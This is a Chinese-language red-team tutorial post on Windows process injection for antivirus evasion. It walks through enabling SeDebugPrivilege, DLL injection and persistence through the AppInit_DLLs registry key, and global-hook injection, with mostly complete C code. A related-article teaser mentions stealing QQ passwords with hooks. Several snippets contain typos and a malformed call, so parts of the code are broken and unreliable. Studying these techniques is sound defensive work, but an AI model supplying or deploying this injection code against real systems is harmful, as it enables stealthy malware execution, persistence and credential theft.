<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    HVV技術干貨 | 紅隊免殺必會-進程注入-注冊表-全局鉤

    VSole2022-08-09 08:35:30

    概要:進程注入 ,簡而言之就是將代碼注入到另一個進程中,跨進程內存注入,即攻擊者將其代碼隱藏在合法進程中,長期以來一直被用作逃避檢測的手段.

    前言

    進程注入 ,簡而言之就是將代碼注入到另一個進程中,跨進程內存注入,即攻擊者將其代碼隱藏在合法進程中,長期以來一直被用作逃避檢測的手段.

    進程的注入方式可以分為DLL注入和shellcode注入,這兩種方式本質上沒有區別,在操作系統層面上,dll也就是shellcode的匯編代碼。

    代碼框架

    想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能,只需要在main函數中調用不同的注入方式:

    #include "public.h"
    int main() {
      DWORD pid = GetPid();
      if (pid == 0) {
        ShowError("Getpid");
        return -1;
      }
      //std::cout<<"Pid:" << pid << std::endl;
      if (!EnableDebugPrivilege(TRUE)) {
        ShowError("EnableDebugPrivilege");
        return -1;
      }
      BOOL bRet = Inject(DWORD dwPid, CHAR code[]);
      if (bRet != TRUE)
      {
        ShowError("Inject");
        return -1;
      }
      system("pause");
      return 0;
    }
    BOOL Inject(DWORD dwPid, CHAR code[])
    {
      BOOL ret = TRUE;
      return ret;
    }
    

    獲取進程pid

    主要實現通過進程名稱獲取進程Pid,代碼很簡單如下:

    DWORD GetPid() {
      //獲取進程快照
      HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      //創建進程結構體
      PROCESSENTRY32 process = { 0 };
      process.dwSize = sizeof(process);
      if (Process32First(snapshot, &process)) {
        do {
          if (!wcscmp(process.szExeFile, L"notepad.exe"))
            break;
        } while (Process32Next(snapshot, &process));
      }
      CloseHandle(snapshot);
      return process.th32ProcessID;
    }
    

    錯誤處理

    錯誤、異常處理,用來接收的返回值GetLastError():

    VOID ShowError(PCHAR msg)
    {
      printf("%s Error %d", msg, GetLastError());
    }
    

    進程提權

    AdjustTokenPrivileges

    在進程注入中,如果要對其他進程(包括系統進程和服務進程)進行注入,需要獲取當前進程的SeDeBug權限來調用OpenProcess打開要注入的進程。如果用戶是管理員組下的成員是具有該權限的。

    但是當我們用Administrator身份去打開一個進程時,還是會出現拒絕訪問的錯誤:

    錯誤代碼為5表示拒絕訪問:

    這是因為默認情況下,某些進程的訪問權限是沒有開啟的。所謂的"提權",其實就是將原有的權限開啟,并不是真正意思上的提權,微軟提供了一些可供我們修改令牌權限,比如:

    AdjustTokenPrivileges function (securitybaseapi.h) - Win32 apps | Microsoft Docs

    具體用法如下:

    //開啟進程調試權限 Debug
    BOOL EnableDebugPrivilege(BOOL bEnable)
    {
      HANDLE hToken = nullptr;
      LUID luid;
      if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
      if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
      TOKEN_PRIVILEGES tokenPriv;
      tokenPriv.PrivilegeCount = 1;
      tokenPriv.Privileges[0].Luid = luid;
      tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
      if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
      return TRUE;
    }
    

    開啟該權限后,編程程序,右鍵管理員打開,開啟權限成功:

    RtlAdjustPrivilege

    這是一個微軟未公開的API,封裝在ntdll.dll中。

    補充一句:

    ntdll.dll是Windows系統從Ring3到Ring0的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最終都是調用ntdll.dll中的函數實現的,也就是說所有的程序都會調用ntdll.dll。

    32位系統通過SYSENTRY進入Ring0

    64位系統通過SYSCALL進入Ring0

    函數定義如下:

    NTSTATUS RtlAdjustPrivilege
    (
        ULONG Privilege, // 所需要的權限名稱,可以到MSDN查找關于Process Token & Privilege內容可以查到
        BOOLEAN Enable, // 如果為True 就是打開相應權限,如果為False 則是關閉相應權限
        BOOLEAN CurrentThread, // 如果為True 則僅提升當前線程權限,否則提升整個進程的權限
        PBOOLEAN Enabled // 輸出原來相應權限的狀態(打開 | 關閉)
    )
    

    可以借助IDA載入ntdll.dll對該API進行分析,按F5可查看偽代碼:

    用法如下,同樣需要以管理員身份運行:

    BOOL NTEnableDebugPrivilege() {
      int nEn = 0;
      const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
      HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
      typedef int(_stdcall* type_RtlAdjustPrivilege)(int, BOOL, BOOL, int*);
      type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
      RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
      return true;
    }
    

    AppInit_DLLs注入

    windows整個系統的配置都保存在這個注冊表中,我們可以通過調整其中的設置來改變系統的行為,惡意軟件常用于注入和持久性的注冊表項條目位于以下位置:

    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls

    當User32.dll被映射到一個新的進程時,會收到DLL_PROCESS_ATTACH通知,當User32.dll對它進行處理的時候,會取得上述注冊表鍵的值,并調用LoadLibary來載入這個字符串中指定的每個DLL。

    只要將AppInit_DLLs設置為要注入的DLL的路徑并且將LoadAppInit_DLLs的值改成1。那么,當程序重啟的時候,所有加載user32.dll的進程都會根據AppInit_Dlls中的DLL路徑加載指定的DLL。

    需要注意的是,在win7之后,windows對dll加載的安全性增加了控制,

    • LoadAppInit_DLLs 為1開啟,為0關閉,(Win7默認為0)
    • RequireSignedAppInit_DLLs 值為1表明模塊需要簽名才能加載,反之。
    BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
    {
        BOOL bRet = TRUE;
        HKEY hKey = NULL;
        CHAR szAppKeyName[] = { "AppInit_DLLs" };
        CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" };
        DWORD dwLoadAppInit = 1; //設置LoadAppInit_DLLs的值
        //打開相應注冊表鍵
        if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
            0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
        {
            ShowError("RegOpenKeyEx");
            bRet = FALSE;
            goto exit;
        }
        //設置AppInit_DLLs為相應的DLL路徑
        if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS)
        {
            ShowError("RegSetValueEx");
            bRet = FALSE;
            goto exit;
        }
        //將LoadAppInit_DLLs的值設為1
        if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS)
        {
            ShowError("RegSetValueEx");
            bRet = FALSE;
            goto exit;
        }
    exit:
        return bRet;
    }
    

    Tips:

    • 被注入的DLL是在進程的生命周期的早期(Loader)被載入的,因此我們在調用函數的時候應該謹慎,調用Kernel32.dll中的函數應該沒有問題,但是調用其他DLL中的函數可能會導致失敗,甚至可能會導致藍屏
    • User32.dll不會檢查每個DLL的載入或初始化是否成功,所以不能保證DLL注入一定成功
    • DLL只會被映射到那些使用了User32.dll的進程中,所有基于GUI的應用程序都使用了User32.dll,但大多數基于CUI的應用程序都不會使用它。因此,如果想要將DLL注入到編譯器或者鏈接器或者命令行程序,這種方法就不可行
    • DLL會被映射到每個基于GUI的應用程序中,可能會因為DLL被映射到太多的進程中,導致"容器"進程崩潰
    • 注入的DLL會在應用程序終止之前,一直存在于進程的地址空間中,這個技術無法做到只在需要的時候才注入我們的DLL

    全局鉤子注入

    Windows系統中的大多數應用都是基于消息機制的,也就是說它們都有一個消息過程函數,可以根據收到的不同消息來執行不同的代碼。基于這種消息機制,Windows維護了一個OS message queue以及為每個程序維護著一個application message queue。當發生各種事件的時候,比如敲擊鍵盤,點擊鼠標等等,操作系統會從OS message queue將消息取出給到相應的程序的application message queue。

    而OS message queue和application message queue的中間有一個稱為鉤鏈的結果如下

    如果創建的是一個全局鉤子,那么鉤子函數必須在一個DLL中。這是因為進程的地址空間是獨立的。發生對于事件的進程不能調用其他進程地址空間的鉤子函數。如果鉤子函數的實現代碼在DLL中,則在對應事件發生時,系統會把這個DLL加載到發生事件的進程空間地址中,使它能夠調用鉤子函數進行處理。

    在操作系統中安裝全局鉤子后,只要進程接收到收到可以發出鉤子的消息,全局鉤子的DLL文件就會由操作系統自動或強行的加入到該進程中。因此,設置全局鉤子可以達到DLL注入的目的。

    為了能夠讓DLL注入到所有進程中,程序設置WH_GETMESSAGE消息的全局鉤子。因為WH_GETMESSAGE類型的鉤子會監視消息隊列,并且Windows系統是基于消息驅動的,所以所有進程都有自己的一個消息隊列,都會加載WH_GETMESSAGE類型的全局鉤子DLL。

    鉤子函數就需要使用SetWindowHookEx來將鉤子函數安裝到鉤鏈中,函數在文檔中的定義如下

    HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
    

    舉個栗子:

    //設置全局鉤子
    BOOL SetGlobalHook(){
        g_hHook = SetWWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GETMsgProc,g_hDLLModule,0);
        if (NULL == g_hHook){
            retrun FLASE;
        }
        return TRUE;
    }
    

    在上述代碼中,SetWindowsHookEx的第一個參數表示鉤子的類型,WH_GETMESSAGE表示安裝消息隊列的消息鉤子,它可以監視發送到消息隊列的消息,前面已經提到了。第二個參數表示鉤子回調函數,回調函數的名稱可以是任意的,參數和返回值是固定的。第三個參數表示包含鉤子回調函數DLL模塊句柄,如果要設置全局鉤子,則該參數必須指定DLL模塊句柄。第四個參數表示與鉤子關聯的線程ID,0表示全局鉤子。

    //鉤子回調函數
    LRESULT GetMsgProc(int code,WPARAM wParam,LPARAM lParam){
        return CallNextHookEx(g_hHook,code,wParam,lParam);
    }
    

    上述代碼中,函數的參數和返回值的數據類型是固定的。其中,CallNextHookEx函數表示將當前鉤子傳遞給鉤子鏈中的下一個鉤子,第一個參數要指定當前鉤子的句柄。如果直接返回0,則表示中斷鉤子傳遞,對鉤子進行攔截。

    當鉤子不再使用時,可以卸載全局鉤子,此時已經包含鉤子函數的DLL模塊的進程,將會釋放DLL模塊。卸載全局鉤子代碼如下:

    //卸載鉤子
    BOOL UnsetGlobalHook(){
        if (g_hHook){
            UnhookWindowsHookEx(g_hHook);
        }
        return true;
    }
    

    UnsetGlobalHook 函數用來卸載指定鉤子,參數便是卸載鉤子的句柄。

    我們知道,全局鉤子是以DLL的形式加載到其他進程空間中的,而且進程都是獨立的,所以任意修改一個內存里的數據是不會影響另一個進程的。那么如何實現注入呢?可以在DLL中創建共享內存。

    共享內存是指突破進程獨立性,多個進程共享一段內存。在DLL中創建一個變量,讓后將DLL加載到多個進程空間,只要一個進程就該了該變量值,其他進程DLL中的這個值也會改變,相當于多個進程共享也給內存。

    共享內存原理實現:首先為DLL創建一個數據段,然后在對程序的鏈接器進行設置,把指定的數據段鏈接為共享數據段。

    代碼實現:

    //內存共享
    #pragma data_seq("mydata")
      HHOOK g_hHook = NULL;
    #pragma data_seq();
    #pragma comment(linker,"/SECTION:mydata,RWS")
    

    使用#pragma data_seq("mydata")創建一個共享的數據段,然后#pragma comment(linker,"/SECTION:mydata,RWS") 設置為可讀可寫可執行。

    BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
    {
      typedef BOOL(*typedef_SetGlobalHook)();
      typedef BOOL(*typedef_UnsetGlobalHook)();
      HMODULE hDll = NULL;
      typedef_SetGlobalHook SetGlobalHook = NULL;
      typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
      BOOL bRet = FALSE;
      do
      {
        hDll = ::LoadLibrary("GlobalHook_Test.dll");
        if (NULL == hDll)
        {
                ShowError("LoadLibrary");
          break;
        }
        SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");
        if (NULL == SetGlobalHook)
        {
      
                ShowError("GetProcAddress");
          break;
        }
        bRet = SetGlobalHook();
        if (bRet)
        {
          printf("SetGlobalHook OK.");
        }
        else
        {
                ShowError("SetGlobalHook");
        }
        system("pause");
        UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");
        if (NULL == UnsetGlobalHook)
        {
          ShowError("GetprocAddress");
          break;
        }
        UnsetGlobalHook();
        printf("UnsetGlobalHook OK.");
      }while(FALSE);
      system("pause");
      return true;
    }
    
    鉤子程序dll注入
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Dll注入
    2021-11-08 14:57:41
    最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。一致,也不會覆蓋其他的進程信息。
    Windows注入的一些方式
    初探DLL注入
    2023-02-06 10:35:24
    DLL注入是指向運行中的其它進程強制插入特定的DLL文件。從技術細節來說,DLL注入命令其它進程自行調用LoadLibrary()API,加載用戶指定的DLL文件。從上圖可以看到,test.dll已被強制插入進程。加載到某一進程中的test.dll與已經加載到某一進程中的dll一樣,擁有訪問notepad.exe進程內存的權限。DLL被加載到進程后會自動運行DLLMain()函數,用戶可以把想執行的代碼放到DLLMain()函數,每當加載DLL時,添加的代碼就會得到執行。利用這種特性可以修復程序Bug以及添加新功能
    程序是指令、數據及其組織形式的描述,進程是程序的實體。在進程中當EXE模塊調用CreateFile()函數的時候,會去調用kernel32.dll模塊中的CreateFile()函數,因為真正的CreateFile()函數的實現在kernel32.dll模塊中。
    在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    全局鉤子注入在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    全局鉤子注入-獲取QQ密碼實現 全局鉤子注入-獲取QQ密碼實現 水一篇????? SetWindowsHookExA 將應用程序定義的掛鉤過程安裝到掛鉤鏈中。您將安裝一個掛鉤程序來監視系統中某些類型的事件。這些事件與特定線程或與調用線程相同的桌面中的所有線程相關聯。
    簡介這次實驗是在WIN7 X86系統上進程,使用的編譯器是VS2017。所謂的DLL注入,其實就是在其他的進程中把我們編寫的DLL加載進去。所以DLL注入的核心就是把要注入DLL的路徑寫到目標進程中,然后在目標進程中調用LoadLibrary函數,并且指定參數為保存了DLL路徑的地址。要實現DLL注入,首先就要創建一個用來注入DLL
    代碼框架 想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类